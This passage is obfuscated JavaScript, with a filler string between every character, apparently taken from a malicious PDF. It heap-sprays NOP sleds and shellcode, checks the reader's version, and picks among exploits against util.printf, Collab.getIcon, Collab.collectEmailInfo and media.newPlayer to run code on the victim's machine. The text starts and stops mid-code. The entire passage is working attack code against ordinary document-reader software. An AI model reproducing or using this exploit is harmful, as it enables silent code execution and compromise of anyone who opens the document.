YYY6YYY8YYY9YYY%YYYuYYY1YYYDYYYFYYY8YYY%YYYuYYYBYYYDYYY4YYY7YYY\"YYY+YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYYdYYY_YYYuYYYrYYYlYYY+YYY\"YYY%YYYuYYY0YYY0YYYAYYY6YYY\"YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYnYYYpYYYlYYYaYYYyYYYeYYYrYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYvYYYaYYYrYYY YYYeYYYoYYYbYYYwYYYeYYY=YYY\"YYYpYYY@YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY1YYY YYY:YYY YYYyYYYyYYYyYYYyYYY1YYY1YYY1YYY\"YYY;YYY\rYYY\nYYYuYYYtYYYiYYYlYYY.YYYpYYYrYYYiYYYnYYYtYYYdYYY(YYYeYYYoYYYbYYYwYYYeYYY,YYY YYYnYYYeYYYwYYY YYYDYYYaYYYtYYYeYYY(YYY)YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYgYYYrYYYiYYYzYYYxYYYwYYY=YYY1YYY2YYY0YYY0YYY0YYY;YYY\rYYY\nYYYjYYYuYYYcYYYoYYYbYYYuYYY=YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYkYYYlYYYkYYYnYYYgYYY YYY=YYY YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY=YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYnYYYeYYYwYYYpYYYlYYYaYYYyYYYeYYYrYYY)YYY;YYY\rYYY\nYYYkYYYlYYYkYYYnYYYgYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYkYYYlYYYkYYYnYYYgYYY)YYY;YYY\rYYY\nYYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYkYYYlYYYkYYYnYYYgYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY YYY<YYY=YYY YYY0YYYxYYY8YYY0YYY0YYY0YYY)YYY{YYYkYYYlYYYkYYYnYYYgYYY+YYY=YYYkYYYlYYYkYYYnYYYgYYY;YYY}YYY\rYYY\nYYYkYYYlYYYkYYYnYYYgYYY=YYYkYYYlYYYkYYYnYYYgYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYY(YYY0YYY,YYY0YYYxYYY8YYY0YYY0YYY0YYY YYY-YYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY(YYYfYYYzYYYfYYYwYYYaYYYmYYY=YYY0YYY;YYYfYYYzYYYfYYYwYYYaYYYmYYY<YYYgYYYrYYYiYYYzYYYxYYYwYYY;YYYfYYYzYYYfYYYwYYYaYYYmYYY+YYY+YYY)YYY YYY{YYYjYYYuYYYcYYYoYYYbYYYuYYY[YYYfYYYzYYYfYYYwYYYaYYYmYYY]YYY=YYYkYYYlYYYkYYYnYYYgYYY YYY+YYY YYYhYYYwYYYjYYYnYYYaYYYlYYYbYYY8YYY;YYY}YYY\rYYY\nYYYiYYYfYYY(YYYgYYYrYYYiYYYzYYYxYYYwYYY)YYY{YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYYtYYYrYYYyYYY YYY{YYYtYYYhYYYiYYYsYYY.YYYmYYYeYYYdYYYiYYYaYYY.YYYnYYYeYYYwYYYPYYYlYYYaYYYyYYYeYYYrYYY(YYYnYYYuYYYlYYYlYYY)YYY;YYY}YYY YYYcYYYaYYYtYYYcYYYhYYY(YYYeYYY)YYY YYY{YYY}YYYkYYYzYYYbYYYvYYYeYYY(YYY)YYY;YYY}YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYpYYYaYYYyYYYlYYYoYYYaYYYdYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYpYYYrYYYiYYYnYYYtYYYfYYY)YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYnYYYoYYYpYYY YYY=YYY\"YYY\"YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYYCYYYnYYYtYYY=YYY1YYY2YYY8YYY;YYYiYYYCYYYnYYYtYYY>YYY=YYY0YYY;YYY-YYY-YYYiYYYCYYYnYYYtYYY)YYY YYYnYYYoYYYpYYY YYY+YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYY YYY+YYY YYYpYYYaYYYyYYYlYYYoYYYaYYYdYYY;YYY\rYYY\nYYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY2YYY0YYY;YYY\rYYY\nYYYsYYYpYYYrYYYaYYYyYYY YYY=YYY YYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY+YYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY YYY(YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY<YYYsYYYpYYYrYYYaYYYyYYY)YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY+YYY=YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYsYYYpYYYrYYYaYYYyYYY)YYY;YYY\rYYY\nYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYbYYYiYYYgYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY-YYYsYYYpYYYrYYYaYYYyYYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY+YYYsYYYpYYYrYYYaYYYyYYY YYY<YYY YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY)YYY YYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY+YYYbYYYlYYYoYYYcYYYkYYY+YYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYmYYYeYYYmYYY YYY=YYY YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYYiYYY<YYY1YYY4YYY0YYY0YYY;YYYiYYY+YYY+YYY)YYY YYYmYYYeYYYmYYY[YYYiYYY]YYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY YYY+YYY YYYhYYYeYYYaYYYpYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYnYYYuYYYmYYY YYY=YYY YYY1YYY2YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY9YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY8YYY;YYY\rYYY\nYYYuYYYtYYYiYYYlYYY.YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY\"YYY%YYY4YYY5YYY0YYY0YYY0YYYfYYY\"YYY,YYYnYYYuYYYmYYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY)YYY)YYY;YYY\rYYY\nYYY\rYYY\nYYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY YYY+YYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY;YYY\rYYY\nYYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY YYY\rYYY\nYYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY1YYY0YYY;YYY\rYYY\nYYYaYYYcYYYlYYY YYY=YYY YYYhYYYeYYYaYYYdYYYeYYYrYYYsYYYiYYYzYYYeYYY+YYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY\rYYY\nYYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY YYY(YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY<YYYaYYYcYYYlYYY)YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY+YYY=YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYaYYYcYYYlYYY)YYY;YYY\rYYY\nYYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYY YYYnYYYoYYYpYYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY-YYYaYYYcYYYlYYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYbYYYlYYYoYYYcYYYkYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY+YYYaYYYcYYYlYYY<YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY)YYY YYYbYYYlYYYoYYYcYYYkYYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY+YYYbYYYlYYYoYYYcYYYkYYY+YYYfYYYiYYYlYYYlYYYbYYYlYYYoYYYcYYYkYYY;YYY\rYYY\nYYYmYYYeYYYmYYYoYYYrYYYyYYY YYY=YYY YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYYiYYY<YYY1YYY8YYY0YYY;YYYiYYY+YYY+YYY)YYY YYYmYYYeYYYmYYYoYYYrYYYyYYY[YYYiYYY]YYY YYY=YYY YYYbYYYlYYYoYYYcYYYkYYY YYY+YYY YYYgYYYaYYYrYYYbYYYaYYYgYYYeYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY YYY=YYY YYY4YYY0YYY1YYY2YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYbYYYuYYYfYYYfYYYeYYYrYYY YYY=YYY YYYAYYYrYYYrYYYaYYYyYYY(YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYiYYY=YYY0YYY;YYY YYYiYYY<YYYbYYYuYYYfYYYfYYYeYYYrYYYsYYYiYYYzYYYeYYY;YYY YYYiYYY+YYY+YYY)YYY\rYYY\nYYY{YYY\rYYY\nYYYbYYYuYYYfYYYfYYYeYYYrYYY[YYYiYYY]YYY YYY=YYY YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYY0YYYaYYY%YYY0YYYaYYY%YYY0YYYaYYY%YYY0YYYaYYY\"YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYCYYYoYYYlYYYlYYYaYYYbYYY.YYYgYYYeYYYtYYYIYYYcYYYoYYYnYYY(YYYbYYYuYYYfYYYfYYYeYYYrYYY+YYY\"YYY_YYYNYYY.YYYbYYYuYYYnYYYdYYYlYYYeYYY\"YYY)YYY;YYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYcYYYoYYYlYYYlYYYaYYYbYYY(YYY)YYY YYY{YYY\rYYY\nYYY\rYYY\nYYYfYYYuYYYnYYYcYYYtYYYiYYYoYYYnYYY YYYfYYYiYYYxYYY_YYYiYYYtYYY(YYYyYYYaYYYrYYYsYYYpYYY,YYYlYYYeYYYnYYY)YYY YYY{YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYyYYYaYYYrYYYsYYYpYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY*YYY2YYY<YYYlYYYeYYYnYYY)YYY YYY{YYY YYYyYYYaYYYrYYYsYYYpYYY+YYY=YYYyYYYaYYYrYYYsYYYpYYY;YYY YYY}YYY\rYYY\nYYYyYYYaYYYrYYYsYYYpYYY=YYYyYYYaYYYrYYYsYYYpYYY.YYYsYYYuYYYbYYYsYYYtYYYrYYYiYYYnYYYgYYY(YYY0YYY,YYYlYYYeYYYnYYY/YYY2YYY)YYY;YYY\rYYY\nYYYrYYYeYYYtYYYuYYYrYYYnYYY YYYyYYYaYYYrYYYsYYYpYYY;YYY YYY}YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY(YYYsYYYhYYYcYYYoYYYdYYYeYYY_YYYcYYYoYYYlYYYlYYYaYYYbYYY)YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYmYYYeYYYmYYY_YYYaYYYrYYYrYYYaYYYyYYY=YYYnYYYeYYYwYYY YYYAYYYrYYYrYYYaYYYyYYY(YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYcYYYcYYY=YYY0YYYxYYY0YYYcYYY0YYYcYYY0YYYcYYY0YYYcYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYaYYYdYYYdYYYrYYY=YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY0YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYcYYY_YYYlYYYeYYYnYYY=YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY*YYY2YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYlYYYeYYYnYYY=YYYaYYYdYYYdYYYrYYY-YYY(YYYsYYYcYYY_YYYlYYYeYYYnYYY+YYY0YYYxYYY3YYY8YYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYyYYYaYYYrYYYsYYYpYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY9YYY0YYY9YYY0YYY%YYYuYYY9YYY0YYY9YYY0YYY\"YYY)YYY;YYY\rYYY\nYYYyYYYaYYYrYYYsYYYpYYY=YYYfYYYiYYYxYYY_YYYiYYYtYYY(YYYyYYYaYYYrYYYsYYYpYYY,YYYlYYYeYYYnYYY)YYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYcYYYoYYYuYYYnYYYtYYY2YYY=YYY(YYYcYYYcYYY-YYY0YYYxYYY4YYY0YYY0YYY0YYY0YYY0YYY)YYY/YYYaYYYdYYYdYYYrYYY;YYY\rYYY\nYYYfYYYoYYYrYYY(YYYvYYYaYYYrYYY YYYcYYYoYYYuYYYnYYYtYYY=YYY0YYY;YYYcYYYoYYYuYYYnYYYtYYY<YYYcYYYoYYYuYYYnYYYtYYY2YYY;YYYcYYYoYYYuYYYnYYYtYYY+YYY+YYY)YYY YYY{YYYmYYYeYYYmYYY_YYYaYYYrYYYrYYYaYYYyYYY[YYYcYYYoYYYuYYYnYYYtYYY]YYY=YYYyYYYaYYYrYYYsYYYpYYY+YYYsYYYhYYYeYYYlYYYlYYYcYYYoYYYdYYYeYYY;YYY YYY}YYY\rYYY\nYYYvYYYaYYYrYYY YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY=YYYuYYYnYYYeYYYsYYYcYYYaYYYpYYYeYYY(YYY\"YYY%YYYuYYY0YYYcYYY0YYYcYYY%YYYuYYY0YYYcYYY0YYYcYYY\"YYY)YYY;YYY\rYYY\nYYYwYYYhYYYiYYYlYYYeYYY(YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY<YYY4YYY4YYY9YYY5YYY2YYY)YYY YYY{YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY+YYY=YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY;YYY YYY}YYY\rYYY\nYYYtYYYhYYYiYYYsYYY.YYYcYYYoYYYlYYYlYYYaYYYbYYYSYYYtYYYoYYYrYYYeYYY=YYYCYYYoYYYlYYYlYYYaYYYbYYY.YYYcYYYoYYYlYYYlYYYeYYYcYYYtYYYEYYYmYYYaYYYiYYYlYYYIYYYnYYYfYYYoYYY(YYY YYY{YYY YYYsYYYuYYYbYYYjYYY:YYY\"YYY\"YYY,YYYmYYYsYYYgYYY:YYYoYYYvYYYeYYYrYYYfYYYlYYYoYYYwYYY YYY}YYY YYY)YYY;YYY YYY\rYYY\nYYY\rYYY\nYYY}YYY\rYYY\nYYY\rYYY\nYYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY YYY=YYY YYYaYYYpYYYpYYY.YYYpYYYlYYYuYYYgYYYIYYYnYYYsYYY;YYY\rYYY\nYYYvYYYaYYYrYYY YYYsYYYvYYY=YYYpYYYaYYYrYYYsYYYeYYYIYYYnYYYtYYY(YYYaYYYpYYYpYYY.YYYvYYYiYYYeYYYwYYYeYYYrYYYVYYYeYYYrYYYsYYYiYYYoYYYnYYY.YYYtYYYoYYYSYYYtYYYrYYYiYYYnYYYgYYY(YYY)YYY.YYYcYYYhYYYaYYYrYYYAYYYtYYY(YYY0YYY)YYY)YYY;YYY\rYYY\nYYYfYYYoYYYrYYY YYY(YYYvYYYaYYYrYYY YYYiYYY=YYY0YYY;YYY YYYiYYY YYY<YYY YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY.YYYlYYYeYYYnYYYgYYYtYYYhYYY;YYY YYYiYYY+YYY+YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYiYYYfYYY YYY(YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY[YYYiYYY]YYY.YYYnYYYaYYYmYYYeYYY=YYY=YYY\"YYYEYYYSYYYcYYYrYYYiYYYpYYYtYYY\"YYY)YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY YYY YYYvYYYaYYYrYYY YYYlYYYvYYY=YYYaYYYPYYYlYYYuYYYgYYYiYYYnYYYsYYY[YYYiYYY]YYY.YYYvYYYeYYYrYYYsYYYiYYYoYYYnYYY;YYY\rYYY\nYYY YYY YYY YYY YYY YYY YYY}YYY\rYYY\nYYY YYY YYY}YYY YYY YYY\rYYY\nYYYiYYYfYYY YYY(YYY(YYYlYYYvYYY=YYY=YYY9YYY)YYY|YYY|YYY(YYY(YYYsYYYvYYY=YYY=YYY8YYY)YYY&YYY&YYY(YYYlYYYvYYY<YYY=YYY8YYY.YYY1YYY2YYY)YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYgYYYeYYYtYYYiYYYcYYYoYYYnYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYYlYYYvYYY=YYY=YYY7YYY.YYY1YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYpYYYrYYYiYYYnYYYtYYYfYYY(YYY)YYY;YYY\rYYY\nYYY YYY YYY}YYY\rYYY\nYYYeYYYlYYYsYYYeYYY YYYiYYYfYYY YYY(YYY(YYY(YYYsYYYvYYY=YYY=YYY6YYY)YYY|YYY|YYY(YYYsYYYvYYY=YYY=YYY7YYY)YYY)YYY&YYY&YYY(YYYlYYYvYYY<YYY7YYY.YYY1YYY1YYY)YYY)YYY\rYYY\nYYY YYY YYY{YYY\rYYY\nYYY YYY YYY YYY YYYcYYYoYYYlYYYlYYYaYYYbYYY(YYY)YYY;YYY\rYYY\nYYY YYY 